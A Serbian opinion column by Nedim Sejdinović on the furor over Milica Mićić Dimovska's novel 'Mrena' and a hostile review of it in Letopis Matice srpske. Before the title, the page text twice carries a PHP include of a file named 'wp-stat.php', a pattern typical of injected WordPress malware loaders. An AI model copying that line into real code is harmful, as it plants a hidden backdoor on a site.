@require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); SLUČAJ MRENA: Ili kako jedan roman može da uništi sve kulturne institucije – Nedim Sejdinović

SLUČAJ MRENA: Ili kako jedan roman može da uništi sve kulturne institucije

Najverovatnije da, dok ga je pisala, novosadska književnica Milica Mićić Dimovska nije ni slutila kakve će joj sve nezgode i poniženja doneti roman “Mrena”, čija je fokalna tačka – imaginarna kulturna institucija pod imenom Forum srpski. Upućenim čitaocima, pogotovo onim koji znaju da je autorka veći deo svog radnog veka provela u ovoj ustanovi, zaista nije teško da u Forumu prepoznaju obrise “znamenite” Matice srpske. Međutim, roman nikako nije produkt prepisivanja stvarnosti: obogaćen je autorkinom maštom, likovima su dodate druge dimenzije, neke stvari dovodene su do krajnosti zarad narativne napetosti… Sve u svemu, postupak već toliko puta viđen u književnosti – Forum je ipak institucija koja postoji samo u ovom romanu, i nigde drugde. Nikada ništa nije u potpunosti izmišljeno. A da li će se neko prepoznati u tragikomičnoj atmosferi jedne imaginarne i autistične ustanove koja se nalazi u sukobu sa svojim vremenom – e, to već nije stvar koja bi trebala da se tiče autora.

Dimovska je ovom ironičnom, nikako malicioznom sagom o našem vremenu i našim ćudima, čini se, dirnula u pravo osinje gnezdo. Dodirnula je (ne)vešto skrivenu i najbolniju ranu ovog društva pripovedajući o ljudima koji bi da istoriju pretvore u nešto opipljivo i iz nje crpe sadašnjost, da u njoj ispiraju svoje grehove, svoja licemerja, eventualno pronađu izgubljene duše. Stvarajući likove kao što je Momir Petrov, nekadašnji komunistički funkcioner a sada pravoslavni pesnik, ili Stevan Prodanović, opoziciono nastrojen novinar zaposlen u režimskom listu, ona kao da je opisala skoro sve likove iz našeg javnog života, ketmansku logiku njihovog postojanja. U ovoj dvojici junaka, bez obzira što su neki kritičari primetili da su njihovi likovi plošni (uostalom, i vreme koje živimo je plošno i sve plošnije), prepoznajemo i brojne glasnogovornike Režima s početka devedesetih koji 2000. godinu dočekaše kao doajeni antimiloševićizma, tu su i nekadašnji visoki partijski funkcioneri, sada prilježni vernici koji će insituciju Crkve braniti ako treba i molotovljevim koktelima, tu su i crkveni velikodostojnici koji se ponašaju kao komunistički gaulajtneri, tu su i advokati koji su svojim inteletkualnim i etičkim radom rušili jedan Režima, a istovremeno pravno zastupali najveće državne firme, tu su sva naša licemerja i sve naše prevrtljivosti…

Ovih je dana Dimovska dočekala uzvratni udarac Imperije, i to u časopisu čiji je član redakcije – Letopisu Matice srpske. Bez njenog znanja, preostali urednici objavili su ogled (i) o njenom romanu iz pera sekretara Matice srpske. Mada donekle pisan književnokritičkim dijalektom, on prilično podseća na onaj “čuveni” tekst “Ćuruvija dočekao bombe”, koji je objavljen u “Ekspres politici” dan pre Ćuruvijinog ubistva. Čak je i argumentacija ista, doduše u Letopisu uvijena u dugačke akademske rečenice. Kritičar insinuira da je Dimovska roman objavila po “stranom nalogu” sa ciljem da valjda uništi sve srpske insitucije. Roman naziva “malignitetom”, a upotrebljava i izraze kao što su: “paskvilantski gnev”, “podvala”, “sumnjivi profiti”, “jevtine moralizatorske i politikantske igre”, i tako dalje. Slučaj interesantnijim čini i podatak da je u istom broju Letopisa objavljen i “naučni” tekst koji o “Islamu, Zapadu i Srbima” koji progovara rečnikom RTS-ovske ratne mašinerije s početka devedesetih. Logično se postavlja pitanje da li je to jezik iz režimskih medija od pre 5. oktobra završio u kulturnim insitucijama ili je pak tu i nastao, pa se samo vratio svojoj kući.

Milica Mićić Dimovska je posle objavljivanja ovog “ogleda” podnela ostavku na članstvo u redakciji LMS. Žali se da je skoro niko od kolega književnika posle ovog teksta nije nazvao da joj pruži podršku ili bar da iskaže neslaganje sa načinom kako je pisano o njoj i njenom romanu. Možda se razlog za to krije u činjenici da se većina njih, htela to autorka ili ne, prepoznala u njenim junacima. Kultura ekskomunikacije bira izgleda svoju sledeću žrtvu.

Uzgred, roman “Mrena” zaista ništa nije mogao da razori, jer je sve oko njega već odavno razoreno. I institucije, i ljudi. I nema toga ko će uspeti nas da sastavi.

Nedim Sejdinović

 

Sviđa vam se ovaj tekst? Odojite sekund vašeg vremena da podržite Nedima Sejdinovića preko Patreon-a!

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.